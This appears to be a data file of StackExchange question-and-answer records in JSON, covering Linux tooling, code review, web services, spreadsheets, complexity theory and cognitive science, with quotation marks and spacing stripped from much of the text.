{  "id": "_unix.59860"  , "question": "I'm setting conky and I'd like to add the usb space, I use:$font${color DimGray}/ $alignc ${fs_used /} / ${fs_size /} $alignr ${fs_free_perc /}%${fs_bar /}for the full hdd, what should I write as path for USB?"  , "title": "Add USB space in conky"  , "tags": "arch linux;path;xfce;conky"  , "accepted_answer": "It should be:${fs_used /media/Name_You_See} / ${fs_size /media/Name_You_See}Or, if you use udisks2:${fs_used /run/media/User/Name_You_See} / ${fs_size /run/media/User/Name_You_See}Also consider ${if_existing /media/Name_You_See} to check if path exists (which means it's mounted, not accurate but useful)"  } 
{  "id": "_webmaster.99260"  , "question": "I recently created a website of my own after buying domain name from namecheap and hosting it on digitaloceans.http://piyushkhemka.meAfter googling my own name after a few days, I see this website which is hosting my website on its own domain :gobismarckmandan.org (fixed now)Initially I thought someone was just copying my website, however after a few days, I received a stop and desist letter from them. They thought I hacked their site and used it to host my content.They are a non-profit website which is understaffed and both of us have no idea why their domain name is pointing to my website.Any ideas what could have happened?Anyways, the real question is: to prevent such things from happening again, what should I do? How do I prevent other websites from ever hosting my content?Do I need to edit .htaccess file? Currently, it looks like this:ErrorDocument 404 /404.htmlOptions -Indexes## EXPIRES CACHING ##<IfModule mod_expires.c>ExpiresActive OnExpiresByType image/jpg access 1 monthExpiresByType image/jpeg access 1 monthExpiresByType image/gif access 1 monthExpiresByType image/png access 1 monthExpiresByType text/css access 1 weekExpiresByType text/html access 1 weekExpiresByType application/pdf access 1 dayExpiresByType text/x-javascript access 1 weekExpiresByType image/x-icon access 1 weekExpiresDefault access 1 week</IfModule>## EXPIRES CACHING ##Do I need to add some options to this file?"  , "title": "Another domain hosting my content"  , "tags": "domains;htaccess;redirects;hacking"  } 
{  "id": "_codereview.33321"  , "question": "I have an array of structure records and function intersection and difference.The intersection function take list1,list2,list3(an array of records),and size of both list1 and list2.  Here, intersection and difference both are the boolean operators ( like : A U B , A - B , A intersection B). Also list1 and list2 are given as input and the result is copied to list3. My both functions are working fine. But given that the two lists are already sorted (on author name and if same author name then name of the book), how can I optimize the code?  intersection is of O(n2) and difference is less than O(n2).  copy() copies a record to first argument from second argument.  //Intersection of two listsvoid intersection(struct books *list1,struct books *list2,struct books *list3,int n1,int n2){    int i,j,size1,size2;    if(n1<n2){size1=n1;size2=n2;}else{size1=n2;size2=n1;}    for(i=0;i<size1;i++)    {        for(j=0;j<size2;j++)        {            if(strcmp(list1[i].name,list2[j].name)==0 && strcmp(list1[i].author,list2[j].author)==0)            {                if(list1[i].copies < list2[j].copies)                {                    copy(&list3[i],&list1[i]);                }                else                {                    copy(&list3[i],&list2[j]);                }            }        }    }}//set difference on lists (optimised)void difference(struct books *list1,struct books *list2,struct books *list3,int n1,int n2){    int i,j,k=0,exists=0;    for(i=0;i<n1;i++)    {        exists=0;        for(j=0;j<n2 && exists==0;j++)        {            if(strcmp(list1[i].author,list2[j].author)==0 && strcmp(list1[i].author,list2[j].author)==0)            {                exists=1;            }        }        if(exists==0)        {            copy(&list3[k],&list1[i]);            k++;        }    }}"  , "title": "Optimised library database code for sorted array of structures"  , "tags": "optimization;c"  , "accepted_answer": "Given that the two lists are already sorted, you can do MUCH better than just the naive O(|A| * |B|) implementation. Let me reduce the problem to just intersecting lists of chars, and let's say our lists are:A: [... a elems ..., 'C', 'D', ... ]B: [... b elems ..., 'C', 'E', ... ]Let's say we just in the outer looped matched A's 'C' to B's 'C'. Cool, we got that right. Now, we're going to try to check for 'D'. Do we really need to start looking at B[0]? We know that B is sorted... and we know that B[b] == 'C', so we know for sure that if there is a 'D' in B then it cannot be in the first b+1 elements. If you change your inner loop from looping over every element in the 2nd list, to just making sure you end up only walking over the list once, you can reduce your complexity to O(|A| + |B|), which is pretty huge."  } 
{  "id": "_unix.70878"  , "question": "I have a situation where i want to replace a particular string in many filesReplace a string AAA with another string BBB but there are lot of strings starting with AAA or ending in AAA ,and i want to replace only one on line 34 and keep others intact.Is it possible to specify by line number,on all files this string is exactly on 34th line."  , "title": "Replacing string based on line number"  , "tags": "sed;awk"  , "accepted_answer": "You can specify line number in sed or NR (number of record) in awk.awk 'NR==34 { sub(AAA, BBB) }'or use FNR (file number record) if you want to specify more than one file on the command line.awk 'FNR==34 { sub(AAA, BBB) }'orsed '34s/AAA/BBB/'to do in-place replacement with sedsed -i '34s/AAA/BBB/' file_name"  } 
{  "id": "_webapps.36249"  , "question": "I cannot see my recent activities in my timeline on Facebook.It is disappeared. But others can see my timeline's activities except me. I can only see the activities log.What can I do?"  , "title": "I cannot see my recent activities in my timeline on Facebook"  , "tags": "facebook"  } 
{  "id": "_codereview.41939"  , "question": "public static void streamReport(this Report report, Stream stream){    using (var streamWriter = new StreamWriter(stream))    {       //some logic that calls streamWrite.Write()       streamWriter.Flush();    }    //Should return stream; here ?         }I am writing an extension method to an object in which I would like to transform to a CSV which is generated and returned to a client (web).My questions are:Should I return stream (change void to Stream) ?Should I use the out keyword in before the Stream parameter ? Is this a common way to let the caller know the parameter will be changed ?Should I change the method to generate a new stream (and not accept one) and trust the user to Dispose it ?Should I pass StreamWriter instead of Stream ?"  , "title": "Extension method that writes to a stream"  , "tags": "c#;asp.net;stream"  , "accepted_answer": "Your questions imply that you might not be quite aware of how streams or references work in C#. You pass in a reference to a StreamYou create a StreamWriter which writes to that StreamThis will automatically make changes visible to anyone holding a reference to the same Stream.Therefor there is no need to try and return the Stream in any way from the method to make the changes visible to the caller - you just need to write to it. This is at least how I interpret your questions.However there is a catch in your implementation: disposing the StreamWriter will automatically close the underlying Stream which I find hugely annoying at times.  Only since .NET 4.5 there is a constructor for StreamWriter which allows you to leave the Stream open. So right now your extension method will close the Stream which I guess is not the intention. Your only option to avoid that is to use .NET 4.5 or do not wrap the StreamWriter in a using statement."  } 
{  "id": "_unix.284191"  , "question": "I have tried the following commands cut -c-11 ifshell.sh cat ifshell.sh | cut -c-11 ifshell.sh cat ifshell.sh | awk '{print $1} | cut -c-11 ifshell.shBut every time I get the full contents of the .sh file. These commands work perfectly on .txt files. The primary goal is to extract the first 11 character of the script #!/bin/bash as checking if the file is really a bash bin script."  , "title": "cut -c won't work on my .sh file"  , "tags": "shell;scripting;cut"  , "accepted_answer": "You can also use the standard file command : [PRD][]user@localhost:~ 17:21:30$ head -n 1 setproxymkt.sh #!/bin/bash[PRD][]user@localhost:~ 17:21:38$ file setproxymkt.sh setproxymkt.sh: Bourne-Again shell script, ASCII text executable"  } 
{  "id": "_unix.365355"  , "question": "In the ext4 wiki article I've seen that ext4 can be used up to 1 EiB, but is only recommended up to 16 TiB. Why is that the case? Why is XFS recommended for larger file systems?(ELICS: Explain me like I'm a CS student, but without much knowledge in file systems)"  , "title": "Why is ext4 only recommended up to 16 TB?"  , "tags": "filesystems;ext4;xfs"  , "accepted_answer": "The exact quote from the ext4 Wikipedia entry isHowever, Red Hat recommends using XFS instead of ext4 for volumes larger than 100 TB.The ext4 howto mentions thatThe code to create file systems bigger than 16 TiB is, at the time of writing this article, not in any stable release of e2fsprogs. It will be in future releases.which would be one reason to avoid file systems larger than 16 TiB, but that note is outdated: e2fsprogs since version 1.42 (November 2011) is quite capable of creating and processing file systems larger than 16 TiB. mke2fs uses the big and huge types for such systems (actually, big between 4 and 16 TiB, huge beyond); these increase the inode ratio so that fewer inodes are provisioned.Returning to the Red Hat recommendation, as of RHEL 7.3, XFS is the default file system, supported up to 500 TiB, and ext4 is only supported up to 50 TiB. I think this is contractual rather than technical, although the Storage Administration Guide phrases the limits in a technical manner (without going into much detail). I imagine there are technical or performance reasons for the 50 TiB limit...The e2fsprogs release notes do give one reason to avoid file systems larger than 16 TiB: apparently, the resize_inode feature has to be disabled on file systems larger than this."  } 
{  "id": "_codereview.149615"  , "question": "RunMyAtmpackage ATM;import java.util.*;import java.io.*;public class RunMyAtm {   int input;static Scanner sc = new Scanner(System.in);Account[] myAccounts = new Account[3];public static void main(String[] args){       RunMyAtm rma = new RunMyAtm();    rma.preAtmMenu();}public void preAtmMenu(){            while (input != 5)    {        System.out.println(1.) Populate Accounts);        System.out.println(2.) Pick Account);        System.out.println(3.) Load Accounts);        System.out.println(4.) Save Account);        System.out.println(5.) Exit);        System.out.print(Please select one of the options: );        input = sc.nextInt();        System.out.println();        if (input == 1)        {           populateAccts();                 System.out.println();        }        else if (input == 2)        {            pickAccts();            System.out.println();        }        else if (input == 3)        {            loadAccount();                                }        else if (input == 4)        {            saveAccount();        }        else if (input <=0 || input >=6)        {            System.out.println(Please enter a nubmer from the Menu);        }                }} public void populateAccts(){            for(int i = 0; i < myAccounts.length; i++)    {        myAccounts[i]= new Account ((i+1), 100);        System.out.println(myAccounts[i].getAcctNum());    }   }  public void pickAccts(){       while (input != 4)    {        System.out.println(Press 1 for account 1);        System.out.println(Press 2 for account 2);        System.out.println(Press 3 for account 3);        System.out.println(Press 4 to exit);        System.out.print(Select an account: );        input = sc.nextInt();        System.out.println();        if (input <1 || input >4)        {            System.out.println(Please enter another number);        }        else if(input == 1 || input == 2 || input ==3)        {            myAccounts[input - 1].AtmMenu();            saveAccount();        }    }           }   public void saveAccount(){    try    {        FileOutputStream outStream = new FileOutputStream(E:/03INFSYS 3806001 - Mngrl Appl Obj-Orntd Prg/tempfile1/BankAccounts.txt);        ObjectOutputStream os = new ObjectOutputStream(outStream);        os.writeObject(myAccounts);        os.flush();        os.close();    }    catch (IOException ioe)    {        System.err.println(ioe);    }}         void loadAccount(){    try      {        FileInputStream inStream = new FileInputStream(E:/03INFSYS3806 001-Mngrl Appl Obj-Orntd Prg/tempfile1/BankAccounts.txt);        ObjectInputStream is = new ObjectInputStream(inStream);        myAccounts = (Account[])is.readObject();        is.close();    }    catch (Exception ioe)    {        System.out.println(ioe.getMessage());    }      }Accountpackage ATM;import java.io.Serializable;import java.text.DecimalFormat;import java.text.NumberFormat;import java.text.ParsePosition;import java.text.SimpleDateFormat;import java.util.*;public class Account implements Serializable{int acctnum;double newBalance;double withdraw;double deposit;double amount;int firstdate;int seconddate; double rate;Date date = new Date();boolean dateflag = false;static Scanner sc = new Scanner(System.in);Calendar cal1 = new GregorianCalendar();Calendar cal2 = new GregorianCalendar();DecimalFormat df = new DecimalFormat(#.##);static NumberFormat fmt = NumberFormat.getCurrencyInstance(Locale.US);Account(){}Account(int acctnum, double newBalance){   this.newBalance = newBalance;   this.acctnum = acctnum;}public void setAcctNum(int newId){    acctnum = newId;}public int getAcctNum(){    return this.acctnum;}    public void withdraw(int amount){    System.out.println(Your current balance is : +             fmt.format(this.getNewBalance()) + \\n);    System.out.print(Enter withdraw amount: );    amount = sc.nextInt();    System.out.println();    if (this.getNewBalance() >= amount)    {        newBalance = this.getNewBalance() - amount;        System.out.println(Your current balance is:                  + fmt.format(newBalance));    }    else    {        System.out.println(Insufficient Funds Availiable + \\n);    }}    public void deposit(double amount){    System.out.println(Your current balance is :             + fmt.format(this.getNewBalance()) + \\n);    System.out.print(Enter deposit amount: );    amount = sc.nextDouble();    newBalance = amount + this.getNewBalance();    System.out.println(Your new balance is:  + fmt.format(newBalance));    System.out.println();}public void newBalance(){    System.out.println(Your balance is:  + fmt.format(newBalance) +\\n);    }public double getNewBalance(){    return this.newBalance;}public void calcInterest(){    getDate1();    getDate2();            if (firstdate > seconddate)    {        System.out.println(You must enter a future date:);        getDate2();    }    else    {        System.out.println( Thank you:);               }    int datediff = seconddate - firstdate;    rate = .05/365;    double ratetime = Math.pow(1+rate,datediff);    newBalance = getNewBalance() * ratetime;     System.out.println(Your Balance with interest is:              + df.format(newBalance));}public void getDate1(){    System.out.print(Enter first date(mm/dd/yyyy): );    String input = sc.next();    SimpleDateFormat formatter = new SimpleDateFormat(MM/dd/yyyy);    ParsePosition pos = new ParsePosition(0);    Date date = formatter.parse(input, pos);    cal1.setTime(date);    firstdate = cal1.get(Calendar.DAY_OF_YEAR);    dateflag = true;} public void getDate2(){    System.out.print(Enter second date(mm/dd/yyyy): );    String input = sc.next();    System.out.println();    SimpleDateFormat formatter = new SimpleDateFormat(MM/dd/yyyy);    ParsePosition pos = new ParsePosition(0);    Date date = formatter.parse(input, pos);    cal2.setTime(date);    seconddate = cal2.get(Calendar.DAY_OF_YEAR);    dateflag = true;    }public void AtmMenu(){    int input = 0;    while (input !=5)    {           System.out.println(1.) Withdraw);        System.out.println(2.) Deposit);        System.out.println(3.) Check Balance);        System.out.println(4.) Calculate Interst);        System.out.println(5.) Exit);        System.out.print(Please enter a nubmer from the menu above                 +  and press enter: );        input = sc.nextInt();        System.out.println();        if (input == 1)        {           withdraw((int) input);                             }        else if (input == 2)        {            deposit(input);             }        else if (input == 3)        {            newBalance();            }        else if (input == 4)        {            calcInterest();                     }        else if (input <=0 || input >=6)        {            System.out.println(Please enter a nubmer from the Menu);        }     }}  }"  , "title": "Runs simple menu driven ATM program with various option in Java"  , "tags": "java;array;io;constructor"  } 
{  "id": "_cs.77326"  , "question": "Unique SAT is defined as:Given any SAT problem, does the SAT problem have exactly 1 solution?As I understand it is co-NPHard. I am unclear how it is in co-NPAssuming the problem has more than 1 solution, any 2 solutions can be a certificate of it being nonUnique. That part is coNP. Now, given a problem can be unsatisfiable, how do we get a certificate of no solution? Its also said that an NP Oracle can solve this problem in polynomial time, but an NP Oracle just tells if the problem is satisfiable. So how is that possible?Apologies but I have no clue regarding this version of SAT. "  , "title": "Unique SAT complexity clarification"  , "tags": "complexity theory;satisfiability"  } 
{  "id": "_unix.5351"  , "question": "I'd like to install Ubuntu (Desktop or netbook edition, preferably latest version), onto a laptop using a small USB stick. (480 MB free space.)How can I do this?"  , "title": "Install Ubuntu from a small USB stick"  , "tags": "ubuntu;system installation"  , "accepted_answer": "There is a dedicated article on this:https://help.ubuntu.com/community/Installation/FromUSBStickIn brief:Download the ISO.Download UnetBootin http://unetbootin.sourceforge.net/Burn the ISO to your USB using UnetBootin. Your USB will become aliveUSB from which you can boot.Boot the system using USB and choose Install."  } 
{  "id": "_softwareengineering.180026"  , "question": "A project I am working on has a bunch of legacy tests that were not properly mocked out. Because of this the only dependency it has is EasyMock, which doesn't support statics, constructors with arguments, etc. The tests instead rely on database connections and such to run the tests. Adding powermock to handle these cases is being shot down as cost prohibitive due to the need to upgrade the existing project to support it (Another discussion). My questions are, what are the REAL world tangible benifits of proper unit testing I can use to push back? Are there any? Am I just being a stickler by saying that bad unit tests (even if they work) are bad? Is code coverage just as effective?"  , "title": "What are tangible advantages to proper Unit Tests over Functional Test called unit tests"  , "tags": "unit testing"  } 
{  "id": "_codereview.146726"  , "question": "I recently had a bug where extracting a decimal from a string failed due to locale settings. That is, some locales use a , as a decimal point, rather than a .. An important goal is that the conversion function is deterministic.I have usually used boost::lexical_cast for such tasks, but my understanding is that this is reliant on the global application locale. I have therefore implemented a variant of lexical_cast that uses the std::locale::classic C locale for the conversion.#include <type_traits>#include <locale>#include <string>#include <sstream>#include <stdexcept>namespace typeconv{/** * Convert @c str to a T * * @param str string to convert to a T * @return the value contained within @c as a T * * @pre @c str is arithmetic and can be converted to a T * @note std::locale::classic() is used for the conversion. * * @throws std::invalid_argument if str cannot be converted to an object of type T. */template<typename T>inline auto lexical_cast(const std::string& str)    -> typename std::enable_if<std::is_arithmetic<T>::value, T>::type{    std::istringstream istr(str);    istr.imbue(std::locale::classic());    T val;    istr >> val;    if (istr.fail())        throw std::invalid_argument(str);    return val;}}I plan to extend the template function in future to include other conversions, such as an arithmetic type to std::string. Any comments on the implementation are welcome."  , "title": "C++ conversion from std::string to arithmetic type using std::locale::classic()"  , "tags": "c++;converting;c++14;type safety;localization"  } 
{  "id": "_scicomp.20332"  , "question": "I am curious, if there is a function to convert MPIAIJ (distributed matrices in AIJ format) to a SEQAIJ matrix that lie on a single processor. It is possible to do such an operation for PETSc vectors with VecScatterCreateToAll or VecScatterCreateToZero, but I couldn't find a similar function for matrices. It is not a scalable operation obviously, but can be helpful for debugging easily.Naively, I thought the following will work, but the problem with this code is that every process generate a different SEQAIJ matrix. Interestingly, petsc4py doesn't generate an error, but simply leaves the matrix with all zeros.#Input A is an MPIAIJ matrixdef getSEQAIJ(A):     N=A.getSize()[0]    B=PETSc.Mat().create(comm=PETSc.COMM_SELF)    B.setType(PETSc.Mat.Type.SEQAIJ)    B.setSizes(N)    B.setUp()    rstart, rend = A.getOwnershipRange()    for i in xrange(rstart,rend):        cols,vals = A.getRow(i) #maybe restore later        B.setValues(i,cols,vals,addv=PETSc.InsertMode.INSERT)    B.assemble()    return B"  , "title": "How to convert MPIAIJ to SEQAIJ matrix in petsc/petsc4py?"  , "tags": "python;sparse;petsc;matrix"  } 
{  "id": "_cs.27560"  , "question": "Suppose we have two sorted arrays $A$ and $B$, and we want to find the indices in $B$ of all elements of $A$. We can do this in $\\mathcal O(|A|\\log|B|)$ time by simply binary searching $|A|$ times. We can do it in $\\mathcal O(|A| + |B|)$ time by iterating through the arrays together like the merge phase of a mergesort; this may or may not be an improvement, depending on the sizes of $A$ and $B$.Can we do better? I don't expect any substantial improvement for $|A| \\in \\mathcal O(1)$ or $|A| \\in \\mathcal O(|B|)$, but for, say, $|A| \\in \\mathcal O(\\log |B|)$, can we do better than $\\mathcal O((\\log |B|)^2)$? My ideas so far have been about some sort of adaptation of binary search that divides $B$ into a number of intervals depending on $|A|$, but I'm not yet sure whether it's an improvement."  , "title": "Searching for multiple elements of an array"  , "tags": "search algorithms"  } 
{  "id": "_cogsci.1"  , "question": "As a computer programmer, I have noticed an interesting phenomenon: If I am stuck on a particular problem in my work, often if I stop thinking about the problem and do something else, the answer will suddenly come to me.Is there a name for this phenomenon? How does this work? Has any research been done on this? How is it that taking a break from a problem sometimes allows you to figure out the answer?Edit: I remember now where I heard about this phenomenon: on the Charlie Rose Brain Series, Eric Kandel of Colombia University says (at 43:20 in)[The unconscious] can do many processes at the same time. You can either focus on one  thing  or another, you can't focus on two or three things at the same time. Because  consciousness is very limited in what it can do; unconsciousness is much broader. And  although we know very little about the true nature of creativity, one emerging theme that  comes out of this is that, if you're trying to solve a mathematical problem... if  you're trying to solve any intellectual problem... you keep on focusing at it, you may  get stuck. Taking a break, taking a shower, going for a walk, playing golf, you come  back refreshed. And often doing the other activity, boom, the idea will come to you.But then they change the subject! What is the concept he's talking about, and where can I read more about how it works?"  , "title": "How is it that taking a break from a problem sometimes allows you to figure out the answer?"  , "tags": "terminology;problem solving;unconscious;creativity"  , "accepted_answer": "It sounds like you're talking about a classic example of Incubation.Incubation is defined as a process of unconscious recombination of thought elements that were stimulated through conscious work at one point in time, resulting in novel ideas at some later point in time.Here's a great article by John F. Kihlstrom: Intuition, Incubation, and Insight: Implicit Cognition in Problem Solving. Basically it is believed that Incubation or stopping conscious thought on a problem allows one to find more creative solutions to a problem:In these cases, Wallas argued, thinkers enter an incubation stage in which they no longer consciously thinks about the problem. Wallas (1926) actually distinguished between two forms of incubation: the period of abstention may be spent either in conscious mental work on other problems, or in a relaxation from all conscious mental work (p. 86). Wallas believed that there might be certain economies of thought achieved by leaving certain problems unfinished while working on others, but he also believed that solutions achieved by this approach suffered in depth and richness. In many cases of difficult and complex creative thought, he believed, deeper and richer solutions could be achieved by a suspension of conscious thought altogether, permitting the free working of the unconscious or partially conscious processes of the mind (p. 87).1 In either case, Wallas noted that the incubation period was often followed by the illumination stage, the flash (p. 93) in which the answer appears in the consciousness of the thinker.Kihlstrom's references contain many good experiments backing up the claims made.A reason incubation may work is because it releases fixation; that case of being stuck which is a sort of mental rut which prevents one from thinking of new answers or methods of solving a problem. We become stuck on an idea that we believe should work but doesn't, which may hold us back from thinking of a different solution which actually does work; one we may have previously not considered or disregarded.A great dissertation by Bo T. Christensen  covers both ideas of Fixation and Incubation in depth: Creative Cognition: Analogy and Incubation. "  } 
{  "id": "_datascience.211"  , "question": "I'm new to this community and hopefully my question will well fit in here.As part of my undergraduate data analytics course I have choose to do the project on human activity recognition using smartphone data sets. As far as I'm concern this topic relates to Machine Learning and Support Vector Machines. I'm not well familiar with this technologies yet so I will need some help. I have decided to follow this project idea http://www.inf.ed.ac.uk/teaching/courses/dme/2014/datasets.html (first project on the top)The project goal is determine what activity a person is engaging in (e.g., WALKING, WALKING_UPSTAIRS, WALKING_DOWNSTAIRS, SITTING, STANDING, LAYING) from data recorded by a smartphone (Samsung Galaxy S II) on the subject's waist. Using its embedded accelerometer and gyroscope, the data includes 3-axial linear acceleration and 3-axial angular velocity at a constant rate of 50Hz.All the data set is given in one folder with some description and feature labels. The data is divided for 'test' and 'train' files in which data is represented in this format:  2.5717778e-001 -2.3285230e-002 -1.4653762e-002 -9.3840400e-001 -9.2009078e-001 -6.6768331e-001 -9.5250112e-001 -9.2524867e-001 -6.7430222e-001 -8.9408755e-001 -5.5457721e-001 -4.6622295e-001  7.1720847e-001  6.3550240e-001  7.8949666e-001 -8.7776423e-001 -9.9776606e-001 -9.9841381e-001 -9.3434525e-001 -9.7566897e-001 -9.4982365e-001 -8.3047780e-001 -1.6808416e-001 -3.7899553e-001  2.4621698e-001  5.2120364e-001 -4.8779311e-001  4.8228047e-001 -4.5462113e-002  2.1195505e-001 -1.3489443e-001  1.3085848e-001 -1.4176313e-002 -1.0597085e-001  7.3544013e-002 -1.7151642e-001  4.0062978e-002  7.6988933e-002 -4.9054573e-001 -7.0900265e-001And that's only a very small sample of what the file contain. I don't really know what this data represents and how can be interpreted. Also for analyzing, classification and clustering of the data, what tools will I need to use? Is there any way I can put this data into excel with labels included and for example use R or python to extract sample data and work on this?Any hints/tips would be much appreciated."  , "title": "Human activity recognition using smartphone data set problem"  , "tags": "bigdata;machine learning;databases;clustering;data mining"  , "accepted_answer": "The data set definitions are on the page here:Attribute Information at the bottomor you can see inside the ZIP folder the file named activity_labels, that has your column headings inside of it, make sure you read the README carefully, it has some good info in it. You can easily bring in a .csv file in R using the read.csv command.For example if you name you file samsungdata you can open R and run this command:data <- read.csv(directory/where/file/is/located/samsungdata.csv, header = TRUE)Or if you are already inside of the working directory in R you can just run the followingdata <- read.csv(samsungdata.csv, header = TRUE)Where the name data can be changed to whatever you want to call your data set."  } 
{  "id": "_webmaster.90717"  , "question": "I am creating a website which will have much more videos than actual text. Now this concerns me as I want the particular site which I can not reveal details about here, to rank within the top 3 on google search engine.For example purposes, let's say that my website is for providing users with videos of skateboarding. There will be around 20 videos of people skateboarding in skate parks.Now for the whole style of the website, in design content isn't looking right. I have designed the pages with correct H1 ,H2 ,H3 ,H4 tags. For example:<h1>Skateboarding Videos</h1>Then a row of 4 videos, these videos will have random names which may not have the words skateboarding, as it would look silly if all the videos had near the same name.<h2>Watch out best moments in skateboarding</h2>then another row of 4 videos.Now in two columns would be something like<h3>The users voted best skateboarding clip</h3>Then one big video.<h3>Check out your nearest skateboarding parks now</h3>Then a few links to near places.<h4>Skateboarding products we suggest</h4>almost like an amazon style of listed products in a row.So this is not a real website as I can't disclose the idea, however as you can see it will be mostly made up of h tags, very small chunks of paragraph tags, and a lot of video content.I am a bit of an SEO freak and using Yoast's SEO tool I normally have all of my pages green (passed on everything). However, I know this will not be achievable here.What would you guys suggest for me to do in this situation/example to bring as much traffic as possible for the search terms like skateboarding videos, skateboarding clips, skateboarding in UK etc... you get the jist."  , "title": "SEO optimisation for a video-heavy website"  , "tags": "seo;google search;optimization"  } 
{  "id": "_webapps.33840"  , "question": "Using Google Spreadsheets, you can write queries. However, if you have column letters in quotes, then they aren't updated as column order changes. Is there a way to write these queries so they don't need to be updated every time a column is added or removed?Is it possible to use named ranges in queries to solve this problem?Here's an example: If you add a column after 'F', then column 'G' gets pushed to 'H' and the meaning of the formula changes.=Query(B:J,select avg(J) group by G)Related questionsThis question is not the same as Using Query with column headers instead of column letters because this one is focused on the use of named ranges."  , "title": "Is it possible to use named ranges in Google spreadsheet queries so that the columns references are kept up to date?"  , "tags": "google spreadsheets"  , "accepted_answer": "It's a kind of tricky, but it is possible with a helper Range and some concatenation.What needs to be done:Create a named range, COLS, to carry the column letters like this:A  B  C  D  E  ...Do it in a vertical way as shown.Assemble the query string like this:=QUERY( B:J, SELECT AVG( & INDEX(**COLS**, COLUMN(J1)) & ) GROUP BY  & INDEX(**COLS**, COLUMN(G1)) )"  } 
{  "id": "_unix.292416"  , "question": "I've found this question that explains how to edit a remote file with vim using:vim scp://user@myserver[:port]//path/to/file.txtIs it possible to do this as root (via sudo) on the remote host? I've tried creating a file with root permissions on the remote host and editing it with the above. Vim can see the content, can edit it, and can save it but nothing changes on the remote host (probably because vim is just saving its temp file and then giving that to scp to put back?)When doing this with a file saved by my user it behaves as expected. My SSH uses a key to authenticate and the remote server has NOPASSWD for my sudo accessThis question is similar, but the only answer with votes uses puppet which is definitely not what I want to use.Edit: In response to @drewbenn's comment below, here is my full process for editing:vim scp://nagios//tmp/notouchWhere /tmp/notouch is the file owned by root, I see vim quickly show :!scp -q 'nagios:/tmp/notouch' '/tmp/vaHhwTl/0'This goes away automatically to yield an empty black screen with the text/tmp/vaHhwTl/0 1L, 12CPress ENTER or type command to continuePressing enter allows me to edit the fileSaving pops up the same kind of scp command as the beginning, which quickly and automatically goes away (it's difficult to read it in time but the scp and /tmp/... files are definitely there)"  , "title": "Can vim edit a remote file as root?"  , "tags": "vim;sudo;remote"  , "accepted_answer": "I'm going to say this is not possible because vim is not executing remote commands. It is simply using scp to copy the file over, edit it locally and scp it back when done. As stated in this question sudo via scp is not possible and it is recommended that you either modify permissions to accomplish what you're wanting or just ssh across to the remote machine."  } 
{  "id": "_webapps.101288"  , "question": "I have two Google accounts, say Account1 and Account2. I use and maintain a single calendar from Account1. Each time I'm in Account2 and need to add a calendar event, I log out of Account2 then into Account1 and finally add the event to the calendar.Is there a better way? One option would be to maintain separate calendars for each account but more interesting would be to set Account2 to use (and be able to view, edit, etc) the calendar from Account1...I'd be fine with disabling the calendar for Account2."  , "title": "Share Calendar with two Google accounts"  , "tags": "google calendar;google account;synchronization"  , "accepted_answer": "You can share your main calendar from Account1 with Account2.Just go to the settings (gear, upper right) in Account1, choose Calendars and enter Share this calendar right of your main-calendar. Then you can enter the e-mail address of Account2 and choose Make changes and Manage sharing and you'll get a notification-mail in Account2 to add that calendar. Now you can manage the complete calendar for Account1 while being logged-in as Account2.Please note that when adding events, your main calendar of Account2 is checked by default. If you only want Account1s calendar visible you can press the pull-down next to Account1-calendar and choose Display only this calendar. Any new events will be for Account1 as default."  } 
{  "id": "_unix.154047"  , "question": "I am writing a simple Hello World kernel module. The Makefile I wrote is giving me such an error:esp@ubuntu:~/task1-2$ make allmake -C /usr/src/linux-headers-3.13.0-35-generic SUBDIRS = /home/esp/task1-2 modulesmake: ****** empty variable name.  Stop.make: ** [all] Error 2How do I rectify it?My Makefile:obj-m += task1-2.oKDIR = /usr/src/linux-headers-3.13.0-35-genericall:    $(MAKE) -C $(KDIR) SUBDIRS = $(PWD) modulesclean:    rm -f *.o    rm -f *.ko    rm -f *.mod.*    rm -f *.symvers    rm -f *.order"  , "title": "Makefile error: empty variable name"  , "tags": "make"  , "accepted_answer": "The section 9.3 of the (GNU) Make manual describes overriding variables.An argument that contains = specifies the value of a variable: v=x sets the value of the variable v to x.The problem is not with your makefile, but with the invocation. The argument that contains = is just =. Make does not concatenate multiple arguments into one you should specify: SUBDIRS=/home/esp/task1-2. "  } 
{  "id": "_cs.10493"  , "question": "Given any graph $G$ on $V(G)=\\{1,\\dots,n\\}$ and its adjacency matrix $$A(G)=\\left(\\matrix{A_{1,1} & A_{1,2} & \\dots & A_{1,n}\\\\A_{2,1} & A_{2,2} & \\dots & A_{2,n}\\\\&&\\dots&\\\\A_{n,1} & A_{n,2} & \\dots & A_{n,n}}\\right)$$ any permutation on  $\\{1,\\dots,n\\}$ defines a new isomorphic graph $G'$. A common approach to canonization is to take the lexicographically  minimal string $A'_{1,2}A'_{1,3}\\dots A'_{n-1,n}$ (i.e. the upper/lower triangular matrix) such that $G$ is isomorphic to $G'$ with $A'=A(G')$.If you now consider a permutation on $I=\\{(i,j)\\mid 1\\leq i<j\\leq n\\}$ or equivalently  a bijective function $\\pi : \\{1,\\dots,{n \\choose 2}\\} \\rightarrow I$, we can try to minimize $A'_{\\pi(1)},\\dots,A'_{\\pi({n\\choose 2})}$ instead, or at least to compute the first $k$ bits of the minimal string.Observe that the complexity of this task heavily depends on the choice of $\\pi$:If you stick with default permutation (upper triangular matrix) you can easily compute the first $2n-1$ bits in polynomial time (adjacent vertices with maximal degrees).If you choose $\\pi(i)=(i,i+1)$ for the first $\\sqrt[c]{n}$ positions, you can reduce HamiltonPath to this in polynomial time.Now my questions:Given a fixed function $k$ and input $(G,\\pi)$ how hard is it to compute the first bits $k(|V(G)|)$ of the minimal string $A'_{\\pi(1)},\\dots,A'_{\\pi({n\\choose 2})}$? Is there any (not necessarily strictly) monotonically increasing $k$ for which this is feasible? Is there a $\\pi$ s.t. even $\\omega(n)$ bits can be computed in polynomial time?Do you know any other reductions to a problem of this kind where $\\pi$ is fixed (i.e. only depends on $|V(G)|$) and the input has the form $(G,k)$ or $G$ (i.e. $k$ is fixed too)?Note: Answering (1) is enough to get accepted.Edit: In the meanwhile there appeared a somewhat connected question: Is induced subgraph isomorphism easy on an infinite subclass?"  , "title": "Complexity of computing the first bits of a minimal permuted adjacency matrix"  , "tags": "complexity theory;graph theory;graph isomorphism"  } 
